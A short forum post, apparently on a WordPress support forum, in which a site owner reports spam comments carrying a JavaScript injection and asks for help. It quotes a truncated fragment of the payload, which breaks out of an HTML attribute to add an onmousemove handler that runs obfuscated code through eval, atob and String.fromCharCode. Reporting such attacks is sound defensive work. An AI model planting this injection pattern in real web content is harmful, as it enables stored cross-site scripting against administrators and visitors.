• webdoc

    (@webdoc)


    Hi Folks,

    Got a couple comment moderation emails with the following code in the comment. Since the javascript is set to fire on mouse move I am scared to go to the comment moderation page because then the comment would render and I would have to move the mouse to delete them.

    <a href='
    href="'>:-)<abbr title='"onmousemove=" eval(atob(String.fromCharCode(67,109,108,109,73,67,104

    There’s a whole lot more numbers after the end here.

    I looked on the web for something similar and the other attacks I found that were similar to this were really nasty… see:
    https://www.brandonsilver.com/2015/01/07/exploring-malicious-wordpress-spam.html

Viewing 1 replies (of 1 total)
Viewing 1 replies (of 1 total)
  • The topic ‘Comment javascript hack attempt – please advise’ is closed to new replies.